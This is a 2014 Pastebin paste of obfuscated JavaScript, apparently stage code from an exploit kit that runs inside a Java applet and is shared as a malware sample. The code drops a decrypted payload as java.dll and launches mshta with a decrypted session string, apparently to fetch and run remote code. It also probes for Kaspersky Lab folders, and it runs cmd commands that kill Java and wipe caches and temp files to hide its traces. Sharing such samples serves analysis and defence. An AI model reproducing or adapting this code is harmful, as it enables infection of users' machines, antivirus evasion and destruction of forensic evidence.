Kafeine

j.js

Jun 6th, 2014
537
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. function main() {
  2.     try {
  3.         y = parseFloat(s.getProperty("winver.version")), f = s.getenv("temp"), a(), "" != m && (h = e(m)), r()
  4.     } catch (t) {
  5.         l()
  6.     }
  7. }
  8.  
  9. function a() {
  10.     try {
  11.         if (v) var a = t.gzrcb(t.rf("/d.dat"), applet.getParameter("adv"));
  12.         else var a = t.gzrcb(t.rf("/com/d.dat"), applet.getParameter("adv"));
  13.         var e = null;
  14.         try {
  15.             e = new File(s.getenv("allusersprofile"), "java.dll"), e.exists() || e.createNewFile()
  16.         } catch (r) {
  17.             e = null
  18.         }
  19.         null != e && e.canWrite() || (e = new File(f, "java.dll"));
  20.         var l = new FileOutputStream(e);
  21.         l.write(a, 0, a.length), l.close(), m = e.getAbsolutePath()
  22.     } catch (r) {}
  23. }
  24.  
  25. function e(a) {
  26.     try {
  27.         return payload.getClass().getConstructor(new Array(u)).newInstance(new Array(a)).success
  28.     } catch (e) {
  29.         return !1
  30.     }
  31. }
  32.  
  33. function r() {
  34.     try {
  35.         var a = applet.getParameter("adv"),
  36.             e = !1;
  37.         if (d = t.rc(t.h2b(applet.getParameter("session")), a), h && (e = payload.execute("mshta", d)), !h || !e) {
  38.             y > 5.2 ? n(new File(i("%programdata%"), "Kaspersky Lab")) && s.exit(0) : n(new File(i("%allusersprofile%"), "Application Data\\Kaspersky Lab")) && s.exit(0);
  39.             var r = new p;
  40.             r.add("mshta"), r.add(d), java.lang.ProcessBuilder(r).start()
  41.         }
  42.     } catch (c) {} finally {
  43.         l()
  44.     }
  45. }
  46.  
  47. function l() {
  48.     try {
  49.         var a = "";
  50.         if (v ? (a = payload.getParameter("cache"), a.equals("null") && (a = "")) : a = s.getProperty("deployment.user.cachedir"), h) {
  51.             var e = '/c taskkill /f /im java.exe & ping -n 3 127.1 & rmdir /q /s "' + a + '" & del /q /f "' + m + '" "%tmp%\\java2sw*" "%tmp%\\jar_cache*.tmp" "%tmp%\\update.log"';
  52.             payload.shellexec(e)
  53.         } else {
  54.             y > 5.2 ? n(new File(i("%programdata%"), "Kaspersky Lab")) && s.exit(0) : n(new File(i("%allusersprofile%"), "Application Data\\Kaspersky Lab")) && s.exit(0);
  55.             var t = new java.util.ArrayList;
  56.             t.add("cmd.exe"), t.add('/c taskkill /f /im java.exe & ping -n 3 127.1 & rmdir /q /s "' + a + '" & del /q /f "%tmp%\\java2sw*" "%tmp%\\jar_cache*.tmp" "%tmp%\\update.log"'), java.lang.ProcessBuilder(t).start()
  57.         }
  58.     } catch (r) {} finally {
  59.         s.exit(0)
  60.     }
  61. }
  62.  
  63. function n(a) {
  64.     try {
  65.         return null != a && a.exists() && !a["delete"]()
  66.     } catch (e) {
  67.         return !1
  68.     }
  69. }
  70.  
  71. function i(a) {
  72.     try {
  73.         if (0 == a.length) return null;
  74.         var e = a.indexOf("%", 0);
  75.         if (-1 == e) return a;
  76.         var t = a.indexOf("%", e + 1);
  77.         if (-1 == t) return null;
  78.         var r = a.substring(e + 1, t),
  79.             l = s.getenv(r);
  80.         return null == l ? null : ("\\" == l[l.length - 1] && (l = l.substring(0, l.length - 1)), a.replace("%" + r + "%", l))
  81.     } catch (n) {
  82.         return null
  83.     }
  84. }
  85. importPackage(java.io, java.net, java.util.zip), importClass(Packages.com.t);
  86. var s = java.lang.System,
  87.     c = java.lang.reflect.Array.newInstance,
  88.     p = java.util.ArrayList,
  89.     u = java.lang.String,
  90.     g = java.lang.Long,
  91.     o = java.lang.Byte,
  92.     d = "",
  93.     m = "",
  94.     y = 0,
  95.     f = "",
  96.     h = !1;
Add Comment
Please, Sign In to add comment